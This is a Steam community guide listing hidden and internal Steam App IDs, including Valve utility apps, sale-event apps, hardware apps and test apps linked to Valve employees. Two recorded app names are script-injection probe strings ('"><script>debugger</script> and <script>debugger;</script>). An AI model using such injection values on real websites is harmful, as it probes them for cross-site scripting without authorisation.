Steam

Steam

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Collection of hidden Apps and their compatibility
От uniQ и соавторов
This guide provides an extensive list of secrets apps and to some extend what you can use them for.
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The goal of this guide
There are many great guides about secrets and hidden glitches on Steam. Most of them use Steam (App ID 753) but can also be used with other App IDs. This guides contains many hidden "games" and to some extend what you can use them for.

This guide on its own is sort of useless. It is only a collection of "special hidden" games on Steam and if you can use them. You will need a separate guide to use them with. Here are a few examples:

https://gtm.you1.cn/sharedfiles/filedetails/?id=270820767 https://gtm.you1.cn/sharedfiles/filedetails/?id=649925765 https://gtm.you1.cn/sharedfiles/filedetails/?id=610115296 https://gtm.you1.cn/sharedfiles/filedetails/?id=617525837 https://gtm.you1.cn/sharedfiles/filedetails/?id=693118839 https://gtm.you1.cn/sharedfiles/filedetails/?id=1809871691


What do these icons mean?
Label
Explanation
This game is part of Steam's default package meaning you instantly have access to this app.
This game is part of an available package. You can gain access to the app by acquiring one of the packages. Please use SteamDB for more information


Quick Reference for the most popular ones
App Name
ID
Availability
Icon
Notes
Steam
753
Most commonly used app to publish user-generated-content that isn't related to a specific game
Greenlight
765
The Greenlight AppID often unlocks additional buttons such as the Follow button
Steam Screenshots
760
no image
This is often used for items in showcases, because it does not show any logo or app name
Spacewar
480
no image
EALink
1182480
404 image
All items uploaded for this app are hidden from the activity feed, unless added to favorites
Steam Linux Runtime
1070560
404 image
All items uploaded for this app are hidden from the activity feed, unless added to favorites

For user-generated content



App Name
ID
Icon
Beta Access to the New Steam Community
202351
Game Library Sharing Access
248210
Greenlight
765
Steam
753
Steam Audio
596420
Steam Workshop
766
App Id 65120
65120
404 image
For a list of apps specifically for the game showcase see this guide

For game showcases





A few notes
  • This guide is only possible because of SteamDB. Please use their site for more detailed information on these apps: https://steamdb.info/
  • This list is created manually and thus entries might have changed significantly or include mistakes.
  • The app name can be ambiguous. In rare cases the name displayed on the store page and in the community hub differ. Some names are based on SteamDB's best guess (e.g. based on depot names.
  • App icons change fairly often and are taken from different sources (header image, icons, banners, etc). Even if a game can be showcased or embed it does not necessarily show this image.
  • Removed or banned games are mostly not included. Please use e.g. steam-tracker[steam-tracker.com] for a full list.
  • A list of apps with Steam inventory items can be found here
  • A more historical list (if not included in SteamDB already) of apps on Steam can be found here: https://developer.valvesoftware.com/wiki/Steam_Application_IDs
  • There's no fixed criteria for apps to be included. If you believe something should be included, just let me know.
Apps related to Valve or Steam
These sections are meant to include hidden apps created by or for Valve that aren't related to any specific games listed at the bottom.
⠀⠀⠀⠀⋅ Steam Apps from A - P
App Name
ID
Availability
Icon
Notes
Another encryption test
807270
Beta Access to the New Steam Community
202351
Dedicated Server
5
Restricted idling
Game Library Sharing Access
248210
Greenlight
765
Many features might have been disabled
Greenlight Developer Access
219820
Used to be purchasable, gifts might still exist
no name (Media Player)
910
PressMasterApp
1300020
Proton 3.7
858280
Proton 3.7 Beta
930400
Proton 3.16
961940
Proton 3.16 Beta
996510
Proton 4.2
1054830
Proton 4.11
1113280
Proton 5.0
1245040
Proton 5.13
1420170
Proton 6.3
1580130
Proton 7.0
1887720
Proton 8.0
2348590
proton-arm64ec-4
3187220
proton-arm64ec-5
3063110
proton-arm64ec-experimental
3080690
proton-arm64ec-vanguard
3145030
Proton BattlEye Runtime
1161040
Proton EasyAntiCheat Runtime
1826330
Proton Experimental
1493710
Proton Hotfix
2180100
Proton Next
2230260
⠀⠀⠀⠀⋅ Steam Apps from S - S
App Name
ID
Availability
Icon
Notes
Source Dedicated Server
210
Steam's 404 image
Source SDK Test Tool
882
Public Group Chat
Source SDK Base 2006
215
Source SDK Base 2007
218
Source SDK Base 2013 Dedicated Server
244310
Public Group Chat
Source SDK Base 2013 Multiplayer
243750
Public Group Chat
Source SDK Base 2013 Singleplayer
243730
Public Group Chat
Source VR SDK
956040
Source2 Unit Test
305580
Steam
753
Steam
1155350
Steam 360 Video Player
613220
Steam Achievements
755
no name (SteamApp3)
3
Original Plattform
Steam Artwork
767
Steam Audio
596420
Steam Big Picture
756
no name (Steam Blog)
593110
Steam Broadcaster
358680
Might be available to developers
Steam Chat Images
744350
Steam Client
7
Restricted idling
Steam Cloud - Crash Dumps
1877380
Steam Cloud - User Logs
764
Steam Cloud - Videos
761
Steam Controller Configs
241100
Steam Controller Configs - Big Picture
413090
Steam Controller Configs - Desktop
413080
Steam Controller Configs - Launchers
736120
Steam Controller Configs - Secure Desktop
1235260
Steam Controller Configs - Steam Button Chord
443510
Steam Controller Configs - Streaming Client
588460
Steam Controller Configs - Test
424690
Steam Controller Configs - Video Player
413100
no name (Steam Datagram Routing Server)
343520
Steam Dev Days
534600
Public
⠀⠀⠀⠀⋅ Steam Apps from S - S
App Name
ID
Availability
Icon
Notes
Steam Economy
754
UGC can be uploaded
Steam for Linux
221410
Steam Forum Images
1016370
Steam Game Notes
2371090
Steam Game Festival
1434240
Steam Gift Cards
473930
Steam In-Home Streaming Beta
202355
Steam Input Configs
241100
Public group chat
Steam Labs - Community Recommendations
1163670
Steam Labs - Deep Dive
1163750
Steam Labs - News Hub
1254040
Steam Labs - Interactive Recommender
1156220
Steam Labs - Spring Cleaning 2020
1247770
Steam Labs - Recommendation Feed
1197940
Steam Linux Runtime
1070560
All items uploaded for this app are hidden from the activity feed, unless added to favorites https://github.com/ValveSoftware/steam-runtime
Steam Linux Runtime - Soldier
1391110
Steam Linux Runtime - Sniper
1628350
no name (Steam Link Workshop)
442040
no name (SteamMasterApp)
770
Might be available to developers
no name (Steam Merchandise Workshop)
768
perhaps Steam Merchandise testing
Steam Mobile Access
202350
Gifts work
Steam Mobile App
2130210
Steam Music
258280
Steam Points Items
1436470
Steam Rack
1160260
Steam Replay
2737110
Steam Screenshots
760
Steam Script Ext
260490
Steam Software Beta Access
218800
404 image
Steam Soundtrack
1195650
⠀⠀⠀⠀⋅ Steam Apps from S - U
App Name
ID
Availability
Icon
Notes
Steam Trading Card Beta Access
202352
SteamTest App
51200
Meet uniQ here :D
SteamTestApp6700
6700
Public Group Chat
no name (Steam Tours)
354440
no name (Steam Tours- Test DLC)
422600
Steam Translation Test-App
566000
Steam Trust
1015410
SteamTV Emoticons
1057940
Steam Wallet Trading
209320
Steam Workshop
766
SteamPlay 2.0 Manifests
891390
Steamworks Common Redistributables
228980
Steamworks SDK Redist
1007
steam vr fest 2022 trailer
2083390
no name (Test Movie)
81086
no name (Test Partner Created App)
286620
The Hive - Video Player
407350
⠀⠀⠀⠀⋅ Steam Apps from V - Z
App Name
ID
Availability
Icon
Notes
no name (VAC TestApp)
757
Name of the only package (28804)
no name (Valve Compatibility Manifests - Playtime)
1403160
no name (Valve Compatibility Manifests)
777060
Found in package Valve Compatibility Manifests for Beta Testing (229711)
no name (Valve Compatibility Manifests)
770210
Found in package Valve Compatibility Manifests (229712)
Valve Compatibility Manifests - Relaxed
1229150
Public Group Chat
Valve Event Upload
2272610
Valve Internal Compat List V2
1227290
no name (Valve Internal Compat List V3)
3043620
Valve Only Broadcast
941260
Valve Store
208850
no name (ValveTestApp)
390260
no name (ValveTestApp769)
769
perhaps Steam Merchandise testing
no name (ValveTestApp202353)
202353
no name (ValveTestApp202354)
202354
Video Test Patterns
805670
Video Test Patterns: No Encryption Test
807250
VTrace
206010
historicallyhas a 404 image now
More info[web.archive.org]
Wallet Card Redirect
738330
Store and Community Hub links redirect to the Steam Wallet page
winui2
8
Old Steam interface, Restricted idling
⠀⠀⠀⠀⋅ Saxxy Awards
App Name
ID
Availability
Icon
Notes
Saxxy Awards 2012
223910
3rd Annual Saxxy Awards
261310
4rd Annual Saxxy Awards
321770
5rd Annual Saxxy Awards
405270
6rd Annual Saxxy Awards
551410
7rd Annual Saxxy Awards
807210
⠀⠀⠀⠀⋅ Steam Sales
This section lists all major Steam sales which have a dedicated App ID. Please note that many old sales don't seem to have one. Also many smaller weekend sales/advertising apps without a web page may be missing.

For a more complete list of all Steam sales, visit:
https://steamdb.info/sales/history/
⠀⠀⠀⠀⋅ Steam Sales 2011 - 2017
App Name
ID
Availability
Icon
Notes
Holiday Sale Community Group
204650
Holiday (Winter) Sale 2011 EULA
19.12.2011 - 01.01.2012
Steam Summer Getaway
245070
404 image
Holiday Sale 2013
267420
404 image
Holiday (Winter) Sale 2013 (Snowglobe) (down)
19.12.2013 - 03.01.2014
Steam Summer Adventure 2014
303700
Summer Sale 2014 (Summer Adventure) (down)
19.06 - 30.06.2014
French Indie Sale
323950
Holiday Sale 2014
335590
404 image
Holiday (Winter) Sale 2014
18.12.2014 - 02.01.2015
no name (The Game Awards)
337240
The Game Awards Sale 2014
Monster Summer Sale
368020
Summer Sale 2015 (Monster)
11.06 - 21.06.2015
Steam Summer Monsters Soundtrack
1244070
Public
no name (Van Helsing Franchise Sale)
376690
Van Helsing Franchise Sale 2015
no name (The Game Awards Advertising App)
424960
no name (Holiday Sale 2015)
425280
404 image
Holiday (Winter) Sale 2015
22.12.2015 - 04.01.2016
Summer Sale 2016
480730
Public group chat
Summer Sale 2016
23.06 - 04.07.2016
no name (2016 Movie Sale)
525260
Lionsgate (down) and Marvel
The Steam Awards
566020
Public group chat
The Steam Awards 2016 (+ Winter Sale)
no name (Frontier Sale)
625130
Steam Summer 2017
639900
Public group chat
Summer Sale 2017 (down)
22.06 - 05.07.2017
no name (2017 Labor Day Advertising App)
707260
The Steam Awards - 2017
762800
Public group chat
The Steam Awards 2017 (+ Winter Sale)
no name (The Game Awards 2017 - Game Giveaway)
768000
⠀⠀⠀⠀⋅ Steam Sales 2018 - 2019
App Name
ID
Availability
Icon
Notes
Ubisoft PAX West Livestream
707930
Spring Cleaning Event
866860
Public group chat
Spring Cleaning 2018
24.05 - 28.05.2018
Intergalactic Steam Summer Sale
876740
Summer Sale 2018 (Salien)
21.06 - 05.07.2018
Steam Summer Saliens Soundtrack
1244060
Public
no name (Top VR Games)
890140
no name (Most Played VR Games)
890160
no name (Board Games Weekend Advertising App)
915780
no name (Versus.Evil Publisher Sale)
952580
no name (Vampire Halloween Sale Advertising App)
972670
Halloween Sale 2018 (down)
29.10 - 01.11.2018
no name (More Horror Games Halloween Sale Advertising App)
972690
Halloween Sale 2018 (down)
29.10 - 01.11.2018
no name (Xbox Controller Games)
999590
no name (Playstation Controller Games)
999600
no name (Steam Controller Games)
999610
no name (Switch Pro Controller Games)
999620
The Steam Winter Sale - 2018
991980
Steam Winter Sale 2018 (down)
20.12.2018 - 03.01.2019
no name (The Game Awards 2018 Advertising)
995820
The Steam Awards
1025790
no name (Steam Award Winners 2018)
1030910
Lunar New Year Sale 2019
1017190
Public group chat
Lunar New Year Sale 2019 (down)
04.02 - 11.02.2019
no name (Texas Sale 2019 - Advertising App)
1050830
SXSW Texas Sale 2019 (down)
14.03 - 17.03.2019
Spring Cleaning 2019
1083560
Spring Cleaning Event (store page no longer shows the 2019 event)
24.05 - 28.05.2019
no name (World Environment Day Sale Advertising App)
1099870
⠀⠀⠀⠀⋅ Steam Sales 2019 - 2020
App Name
ID
Availability
Icon
Notes
Steam Summer Sale 2019
1095000
no name (Index Summer Sale Advertising App)
1112740
Lionsgate Weekend Sale
1183390
Lionsgate Game Sale (public community hub)
no name (Space Exploration Sale)
1125990
Space Exploration Sale
18.07 - 21.07.2019
no name (Halloween Sale plus Events)
1183760
Halloween Sale 2019
28.10 - 1.11.2019
no name (Remote Play Together Games)
1186780
no name (Remote Play Anywhere - Phone Games)
1186800
no name (Remote Play Anywhere - Tablet Games)
1186820
no name (Remote Play Anywhere - TV Games)
1186840
The Steam Awards - 2019
1195670
Winter Sale Event 2019
1195690
Steamville Holiday Event (Mayor Carol)
19.12.2019 - 02.01.2020
no name (The Game Awards 2019)
1205490
:tga_drop: 12.12.2019
Lunar New Year 2020
1223590
Lunar New Year 2020
23.01 - 27.01.2020
no name (Steam Soundtrack Sale!)
1248000
Steam Soundtrack Sale
11.02 - 14.02.2020
Monolith Developer Sale Advertising App
1278910
Steam Game Festival: Spring Edition
1272220
Game Festival: Spring Edition (is also used for future events)
18.03 - 23.03.2020
Golden Week Sale Advertising App
1308320
Golden Week Sale
30.04 - 06.05.2020
Spring Cleaning 2020
1355220
Spring Cleaning 2020
21.05 - 28.05.2020
no name (PAX East 2020)
1253250
The BAFTA Game Awards
1282820
Summer Road Trip
1343890
Steam Summer Sale 2020
25.06 - 09.07.2020
The Debut Collection
1263950
Steam Summer Sale 2020
25.06 - 09.07.2020
Xbox Games Showcase
1377270
Swiss Game Sale Advertising App
1382270
Swiss Game Sale
27.07 - 03.08.2020
Gamescom 2020
1409940
Gamescom 2020
27.08 - 30.08.2020
⠀⠀⠀⠀⋅ Steam Sales 2020 onwards
App Name
ID
Availability
Icon
Notes
Future Games Show
1410240
Digital Dragons Avertising App
1425480
Digital Dragons
15.09 - 18.09.2020
Gradient Convergence
1428230
Gradient Convergence
18.09 - 21.09.2020
IndieCup
1436080
IndieCup
28.09.2020
Mages Advertising App
1439350
Mages Steam Sale
01.10 - 05.10.2020
Steam Game Festival Broadcasting
1439950
Steam Digital Tabletop Fest
1456090
Steam Digital Tabletop Fest
21.10 - 26.10.2020
(Reupload of the stream)
Halloween 2020
1461450
The Steam Halloween Sale
29.10 - 02.11.2020
City Builder Tag Sale Advertising App
1466590
The Steam City Builder Sale
03.11 - 10.11.2020
Autumn Sale 2020
1465660
Autumn Sale 2020
25.11 - 01.12.2020
The Steam Awards - 2020
1465680
Winter Collection - 2020
1492660
Winter Sale 2020
22.12.2020 - 05.01.2021
Lunar New Year 2021
1526200
Lunar Sale 2021
11.02.2021 - 15.02.2021
Forge Your Fate
1658760
Steam Next Fest
1673210
Steam Next Fest
16.06.2021 - 22.06.2021
Halloween Sale 2021
1768020
Autumn Sale 2021
1792490
Autumn Sale 2021
24.11.2021 - 01.12.2021
The Steam Awards - 2021
1797760
Winter Sale 2021
1846860
Winter Sale 2021
22.12.2021 - 05.01.2022
Lunar New Year 2022
1880140
Lunar Sale 2022
27.01.2022 - 03.02.2022
Steam 3000
2021850
Summer Sale 2022
23.06.2022 - 07.07.2022
Steam Scream 2022
2196160
Halloween Sale 2022
25.10.2022 - 01.11.2022
The Steam Awards - 2022
2243720
Winter Collection - 2022
2243810
Winter Sale 2022
22.12.2022 - 05.01.2023, introduced Steam Year in Review
SHMUP Fest 2023
2606780
Puzzle Fest 2023
2402580
Sports Fest 2023
2429400
Summer In The City
2459330
Steam Stealth Fest 2023
2528530
Steam Visual Novel Fest 2023
2540780
Strategy Fest 2023
2575570
Steam 20th Anniversary
2598440
Lunar New Year 2023
2292150
Steam Scream 2023
2603600
Halloween Sale 2023
26.10.2023 - 02.11.2023
The Steam Awards - 2023
2640290
Steam VR Fest 2023
2721660
Steam VR Fest 2023
04.12.2023 - 11.12.2023
Winter Sale 2023
2640280
Winter Sale 2023
21.12.2023 - 04.01.2024
Summer Sale 2024
2861690
⠀⠀⠀⠀⋅ Valve's hardware apps 1/2
App Name
ID
Icon
Notes
[Main] Original Valve VR Demo
345410
[Main] SteamVR
330050
[Main] VRMonitor
358510
Aperture Robot Repair
344980
Are You Ready for Valve Index?
1070910
Public
Face Gasket for Valve Index Headset – 2 Pack
1072820
Gamepad Controller Template
1456390
Generic Valve VR Application
336540
HTC Vive
358040
HTC VIVE VR Testing APP
424680
showpixel_test_vrshowcase01
424630
Start VR Vive Demo 1
417870
Steam Controller
353370
Steam Controller Battery Door
530970
Steam Controller Carrying Case
530990
Steam Controller Skin - Aperture
531010
Steam Controller Skin - CSGO Blue Camo
531310
Steam Controller Skin - CSGO Blue/Orange
531340
Steam Controller Skin - CSGO Grey Camo
531360
Steam Controller Wireless Receiver
530260
Steam Deck
1675200
Steam Deck Advertising
1922290
Steam Deck - Valve Certified Refurbished
2550670
Steam Deck Deposit
1675180
Steam Deck Dock
1696780
Steam Hardware
223300
Steam Hardware Adv App
418630
Steam Hardware Advertising App
377490
no name (Steam Hardware Plus Accessories Advertising App)
629050

⠀⠀⠀⠀⋅ Valve's hardware apps 2/2
App Name
ID
Icon
Notes
Steam Link
353380
Steam Link - CSGO Blue Camo
531390
Steam Link - CSGO Blue/Orange
531430
Steam Link - CSGO Grey Camo
531460
no name (SteamOS Hardware Partner Community)
265440
SteamVR
250820
Public
SteamVR Demos
325280
Might be available to developers
SteamVR Developer Hardware
358720
SteamVR HW Tech Scenes
445960
SteamVR Knuckles Driver
633750
SteamVR Media Player
733580
SteamVR Minigames
400520
SteamVR Pre-release
439970
SteamVR Prototype
406630
SteamVR Prototype Demo
406640
no name (SteamVR - vrcompositor)
338750
Untitled VR Project 1
392310
Valve Index Headset
1059530
Public
Valve Index Headset
1079140
Valve Index Controllers
1059550
Valve VR Test Game
395790
Valve Index Base Station
1059570
VirtualLink™ USB-C Adapter for Valve Index Headset
1072830
no name (VIVE_Test_App_2015.11.12)
419740
no name (ViveTest)
393940
VRClay
401370
VRMonitor
366490
VR OS
415970
VR test game
418100
WiGig SteamVR Driver
669010
Likely an 802.11ay wireless adapter.
Thanks to medic for the hint.
Test apps created by Valve employees
These are mostly unusable apps created to test Steamworks or other features for Steam. They were matched based on app and package names, shared (historical) packages, metadata, patterns and other information published online.
Needless to say, these are only best guesses and may not be accurate. It is also reasonable to assume that multiple people were using an app, but aren't listed here.
So these apps were not necessarily created by the listed person, but are at least in some way associated with them.


⠀⠀⠀⠀⋅ Jason Ruymen
Jason Ruymen[www.mobygames.com] is a Valve employee and (in the context of these apps) probably best known for his Steamworks tutorials on the official Steamworks Development YouTube channel, posting removal notifications for banned games and general support for game developers on Steam. This is simply a list of apps he seems to be involved in (outside of regular games) based on their packages and meta data.


App Name
ID
Availability
Icon
Notes
Dedicated Server
664940
Tool of 492910
Ruymen Test DLC 1
271280
Original image has a lot of Exif metadata
no name (Ruymen Test DLC 2 )
271281
no name (Ruymen Test Game 1)
260890
Public group chat
Regularly updated
Ruymen Test Game 2
319490
Public group chat
Steam - The Game (Tutorial App)
255700
Public group chat
Featured on YouTube
no name (SteamPipe Tutorial)
286710
Featured on YouTube
no name (SteamPipe Tutorial - Zombies)
298760
Featured on YouTube
no name (Wishlist Email TestApp)
364430
Original image has a lot of XMP metadata

Unnamed:

492910 (was in package 33472)
⠀⠀⠀⠀⋅ Sean Jenkin
Sean Jenkin is a former Valve employee and probably best known for his work on Steamworks and contact with game developers. This is simply a list of apps and game-shaped objects he seems to be involved in (outside of regular games) based on their packages and meta data.

These apps have similarities to the ones attributed to ziot. This could indicate incorrect information.

App Name
ID
Availability
Icon
Notes
no name (Steamworks Test App)
351610
Included in a package called "><¬) Sd:::) )), EULA
no name (steamworksexample Copy)
300800
no name (SeanJTestApplication)
301100
no name (Steamworks Example - Loadout DLC Test )
304090
no name (Steamworks Example - Loadout DLC Test 2 )
304100
no name (SeanJUnityTest)
305210
no name (Sean J Unity All Platform Test Demo)
345770
no name (SeanJ_Default_Game_State)
310620
no name (SeanJTestApplication Demo)
318180
no name (SeanJTestApplication Demo)
345760
no name (seanj_testing for release state 1)
348890
no name (SeanJ_VideoSeries_Test)
354100
no name (SeanJTestPartnerVideoCreate)
360980
no name (SeanJ_FTP_BTS_TEST)
388510
no name (SeanJ_VideoBaseApp)
394520
no name (SeanJ_VideoBaseApp)
394521
no name (SeanJ_VideoBaseApp)
394522
no name (SeanJ_VideoBaseApp)
394523
no name (SeanJ_VideoBase2)
394530
no name (SeanJ_VideoBaseAgain)
394580
no name (SeanJ_VideoBaseAgain)
394581
no name (SeanJ_VideoBaseAgain)
394582
no name (SeanJ_VideoBaseAgain)
394583
no name (SeanJ Testing Series)
497830
no name (SeanJ Testing Series: Getting Started)
497840
no name (SeanJ Testing Series: Working on it Together)
497841
no name (SeanJ Testing Series: C'mon you need to be here)
497842
no name (SeanJ Testing Series 2: S01E01)
498100
no name (SeanJ Testing Series 2: S01E02)
498102
no name (SeanJ Testing Series 2: S01E03)
498102
no name (SeanJ Test Series 3: S01E01 (Deleted))
498140
no name (SeanJ Test Series 3: '"><script>debugger</script>)
498141
no name (SeanJ Test Series 3: S01E03)
498142

Unnamed:

305230, 312910, 498090, 498130, 569280, 569281, 569282, 569283, 569450, 569451, 738420, 741290, 741300, 741330, 741740, 742050, 742080, 742290, 742840, 742850, 742851, 742860, 742870, 742880, 771330, 853680, 853681, 853682
⠀⠀⠀⠀⋅ Pieter Wycoff
Pieter Wycoff is a former Valve employee and (in the context of Steam) probably best known for his involvement in many great titles such as Counter-Strike: Global Offensive, Portal 2 and The Stanley Parable. This is simply a list of apps he seems to be involved in outside regular games based on their packages and meta data.


App Name
ID
Availability
Icon
Notes
no name (Auslandia)
107700
Apparently a combined project with Nate Muller
no name (ValveTestApp107700 DLC)
107702
Related to Auslandia (107700)
no name (ValveTestApp228161)
228161
Related to Auslandia (107700)
no name (ValveTestApp228163)
228163
Related to Auslandia (107700)
no name (ValveTestApp237650)
237650
Related to Auslandia (107700)
Pieterw App 1
110900
Public group chat
pieterw test DLC
110902
DLC for Spacewar
pieterw_test_new_cddb
208240
Public group chat
no name (pieter test of new tag)
322870
no name (pieterw another test)
332910
no name (pieterw another dlc testing)
332930
no name (pieterw this better be the last one)
332940
Probably not
no name (pieter test of LB issue)
349390
See?
no name (Pieterw Test of new Packages)
356150
no name (Pieterw App 1 Demo)
372240
no name (Pieterw test of pacakge creation 123)
390280
no name (pieterw_testApp)
987654
Public group chat
no name (ticket test DLC)
447130
Public group chat
no name (PW TestApp)
388220
no name (PW TestApp Demo)
388740
no name (Pieterw's test app of awesomeness)
247700
no name (ValveTestApp235270)
235270
Resident Evil 6

Unnamed:

247280, 255460
⠀⠀⠀⠀⋅ Alden Kroll
Alden Kroll is a Valve employee and probably best known for his work on Steam, presentations and public conversations (/r/The_Alden exists) . This is simply a list of apps he seems to be involved in (outside of regular games) based on their packages and meta data.


App Name
ID
Availability
Icon
Notes
no name (Alden's Not-So-Secret Test App Demo)
292540
no name (Alden's Super-Fun Free-to-win Game)
347740
no name (Alden Test DLC)
303670
no name ()
246780
Part of Alden's Test package (31472)
⠀⠀⠀⠀⋅ Justin Yorke
Justin Yorke[ridiculous.pro] is a former Valve employee and (in the context of Steam) probably best known for his work on the Steamworks documentation, videos on Steam and the Steam Dev Days. This is simply a list of apps he seems to be involved in (outside of regular games) based on their packages and meta data.


App Name
ID
Availability
Icon
Notes
no name (ValveTestApp225980)
225980
Public group chat
JustinY DLC1
225999
no name (JustinY Test Game 1)
322370
no name (JustinY Test Game 2)
322380
no name (JustinY Test Game 3)
322390
no name (JustinY Non-Free Test App)
352250
no name (JustinY Free Test App)
352260
no name (JustinY Test Again)
352470
no name (JustinY Non-Free Test Game)
352480
no name (JustinY Test One More Time)
352600
no name (JustinY HW 1)
353730
no name (JustinY Test Video)
404710

Unnamed:
225900, 525770 (Subscription testing)
⠀⠀⠀⠀⋅ Tom Giardino
Tom Giardino is a Valve employee and probably best known for representing Valve in business relationships and contacts with developers. This is simply a list of apps he seems to be involved in (outside of regular games) based on their packages and meta data.


App Name
ID
Availability
Icon
Notes
no name (Test TomG)
251050
no name (UltraFunGame)
411200
Steamworks tutorial on YouTube
no name (UltraFunGame1)
411210
no name (UltraFunGame 1 DLC Pack A)
411240
no name (UltraFunGame 1 DLC Pack B)
411241
no name (UltraFunGame2)
411220
no name (UltraFunGame3)
411230
⠀⠀⠀⠀⋅ Tom Bui
Tom Bui is a Valve employee and probably best known for his work on Team Fortress 2 and many of Steam's features. This is simply a list of apps he seems to be involved in (outside of regular games) based on their packages and meta data.


App Name
ID
Availability
Icon
Notes
no name (Bui DLC 1)
272980
no name (Bui DLC 2)
272981
Tom Bui Test App
30000
Played a role in the Red Herring ARG
⠀⠀⠀⠀⋅ Martin Otten
Martin Otten[www.mobygames.com] is a Valve employee and probably best known for his work on many popular Valve titles and developing many of Steam's features. This is simply a list of apps he seems to be involved in (outside of regular games) based on their packages and meta data.


App Name
ID
Availability
Icon
Notes
Martino test 2
80969
Legacy Media
Martino Oxcart testapp 3
210790
Public group chat
Martino Test App 3
208130
Public group chat
OxCartExampleGame
211630
Public group chat
martino test app 4
212870
martino test app 5
212880
Public group chat

Also this Aliens: Colonial Marines[steamdb.info] package.
⠀⠀⠀⠀⋅ Kassidy Gerber
Kassidy Gerber is a Valve employee and (in the context of these apps) probably best known for their work on Steam's backend and GDC 2019 talk. This is simply a list of apps they seem to be involved in (outside of regular games) based on their packages and meta data.


App Name
ID
Availability
Icon
Notes
Kassidy's Test Game
209250
Public group chat
Has achivements
Kassidy Ox Cart
209440
Public group chat
⠀⠀⠀⠀⋅ Nathaniel Blue
Nathaniel Blue is a Valve employee and probably best known for representing Valve in business relationships and contacts with developers. This is simply a list of apps he seems to be involved in (outside of regular games) based on their packages and meta data.


App Name
ID
Availability
Icon
Notes
Steam - The Game (Tutorial App)
255700
Public group chat
Featured on YouTube
no name (SteamPipe Tutorial)
286710
Featured on YouTube
no name (SteamPipe Tutorial - Zombies)
298760
Featured on YouTube
⠀⠀⠀⠀⋅ Matt Rhoten
Matt Rhoten is a Valve employee and probably best known for his interactions with the community. This is simply a list of apps he seems to be involved in (outside of regular games) based on their packages and meta data.


App Name
ID
Availability
Icon
Notes
no name (Hoten DLC 1)
296460
Hoten Magical App
337600
Used to be available for free
no name (Hoten Testinator)
292080

Unnamed:

216708, 216709
⠀⠀⠀⠀⋅ Augusta Butlin
Augusta Butlin[www.mobygames.com] is a Valve employee and probably best known for managing Steam's business development and events such as the Steam Dev Days. This is simply a list of apps she seems to be involved in (outside of regular games) based on their packages and meta data.


App Name
ID
Availability
Icon
Notes
Augusta Test
351200
Free
⠀⠀⠀⠀⋅ Chris Kadar
Chris Kadar is a Valve employee and according to Valve, "if not at his desk, he can probably be found somewhere on the side of the road waiting for a tow truck. If needed, he can be summoned by jingling a bag of Apex seals". This is simply a list of apps he seems to be involved in (outside of regular games) based on their packages and meta data.


App Name
ID
Availability
Icon
Notes
ckiten <script>debugger;</script>
242740
Public Group Chat
no name (GreenlightApp0)
241580
Has the same name as the package (28494)
⠀⠀⠀⠀⋅ Erik Peterson
Erik Peterson is a Valve employee who focuses on supporting game developers and publishers. This is simply a list of apps he seems to be involved in (outside of regular games) based on their packages and meta data.


App Name
ID
Availability
Icon
Notes
no name (Steam The Game)
254540
⠀⠀⠀⠀⋅ Joe Ludwig
Joe Ludwig is a Valve employee and (in the context of these apps) probably best known for his work on Steam's Virtual Reality features. This is simply a list of apps he seem to be involved in (outside of regular games) based on their packages and meta data.


App Name
ID
Availability
Icon
Notes
SteamVR
250820
Nothing special on it's own, but it is included in a package called ValveTestAppLudwig Early Access Comp (30559)
⠀⠀⠀⠀⋅ Nate Muller
Nate Muller is/was a Valve employee. This is simply a list of apps they seem to be involved in (outside of regular games) based on their packages and meta data.


App Name
ID
Availability
Icon
Notes
no name (Auslandia)
107700
Apparently a combined project with Pieter Wycoff
no name (ValveTestApp107700 DLC)
107702
Related to Auslandia (107700)
no name (ValveTestApp228161)
228161
Related to Auslandia (107700)
no name (ValveTestApp228163)
228163
Related to Auslandia (107700)
no name (ValveTestApp237650)
237650
Related to Auslandia (107700)
no name (ValveTestApp237290)
237290
Public group chat
⠀⠀⠀⠀⋅ Kurtis
Kurtis is a Valve employee. This is simply a list of apps he seems to be involved in (outside of regular games) based on their packages and meta data.


App Name
ID
Availability
Icon
Notes
no name (Kurt's Controller Test App)
364080
no name (Kurt's Link Test App)
374550

Also several test packages.
⠀⠀⠀⠀⋅ David Sawyer
David Sawyer is a Valve employee and probably best known for his level design, work on many of Valve's greatest titles and being "one of Valve's most fearsome and ruthless snipers in Team Fortress Classic" (mobygames). This is simply a list of apps he seems to be involved in (outside of regular games) based on their packages and meta data.


App Name
ID
Availability
Icon
Notes
no name (SawyerTestApp)
281730
This is really nothing more than a blind guess. Could be from a different developer as well
⠀⠀⠀⠀⋅ Christopher Douglass
Christopher Douglass is a former Valve employee and (in the context of Steam) probably best known for his role in the business development, merchandise and contact with partners. This is simply a list of apps he seems to be involved in (outside of regular games) based on their packages and meta data.


App Name
ID
Availability
Icon
Notes
ChrisWars: A C++ Adventure)
109800
Public group chat
Part of a package called CDouglass_Test_Publisher (109800)
no name (ChrisD's Magic DLC Test 1)
298730
Loose guess. Could be from a different developer as well
⠀⠀⠀⠀⋅ Alfred Reynolds
Alfred Reynolds[web.archive.org] is a former Valve employee and one of the founding members of the Steam platform. This is simply a list of apps he seems to be involved in (outside of regular games) based on their packages and meta data.


App Name
ID
Availability
Icon
Notes
no name
238030
Could be a misinterpretation, but is part of [STAGING] Various Depots for Alfred Early Access Comp (27393)
no name (Alfred Pack (505960) Depot)
505960
⠀⠀⠀⠀⋅ Stefan Landvogt
Stefan Landvogt[web.archive.org] is a former Valve employee and is (in the context of Steam) probably best known for his work on Source Filmmaker and the Steam tools and interfaces. This is simply a list of apps he seems to be involved in (outside of regular games) based on their packages and meta data.


App Name
ID
Availability
Icon
Notes
Steam Beta Test App 1
265260
Could be a misinterpretation, but is part of Stefan Tenfoot App Early Access Comp
⠀⠀⠀⠀⋅ Mike Ambinder
Mike Ambinder[en.wikipedia.org] is a Data Scientist, Game Designer, Hardware Engineer and Product Designer at Valve and is (in the context of Steam) probably best known for his pioneering work in combining psychological knowledge and methodologies with game design. He is also very happy if you read his paragraph on vavlesoftware. This is simply a list of apps he seems to be involved in (outside of regular games) based on their packages and meta data.


App Name
ID
Availability
Icon
Notes
Controller Testbed - Beta
243850
Could be a misinterpretation, but is part of AmbinderTestApp Early Access Comp (28703)
⠀⠀⠀⠀⋅ Ben Jackson
Ben Jackson is a Valve employee and probably best known for his work on Valve's hardware developments. This is simply a list of apps he seems to be involved in (outside of regular games) based on their packages and meta data.


App Name
ID
Availability
Icon
Notes
no name (Jackson (505300) Depot)
505300
This is really nothing more than a blind guess. Could be from a different developer as well
Test apps for bug bounties
